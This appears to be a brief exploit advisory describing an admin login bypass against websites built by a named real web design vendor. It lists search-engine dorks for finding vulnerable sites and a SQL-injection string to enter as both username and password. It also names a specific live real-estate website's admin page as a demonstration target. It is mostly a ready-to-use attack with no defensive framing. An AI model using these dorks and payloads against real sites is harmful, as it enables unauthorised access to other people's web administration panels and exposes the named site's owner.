Agent Image Admin Login bypass

[+] exploit title : Agent Image Admin Login bypass
[+] Dork 1 : intext:"Design by Agent Image" inurl:ID=
[+] Dork 2 : inurl:request_appt.php?id=
[+] Vendor Homepage: https://www.agentimage.com
[+] Category: Webapps [+] Tested on: WiN7_x64
[+] Exploit Author: r4j4z
[+] Proof of Concept
[+] find target
[+] Enter username and password with
[+] username : '=' 'or'
[+] password : '=' 'or'
[+] Admin Address : admin
[+] Demo : https://www.lisavancerealestate.com/admin

Tweet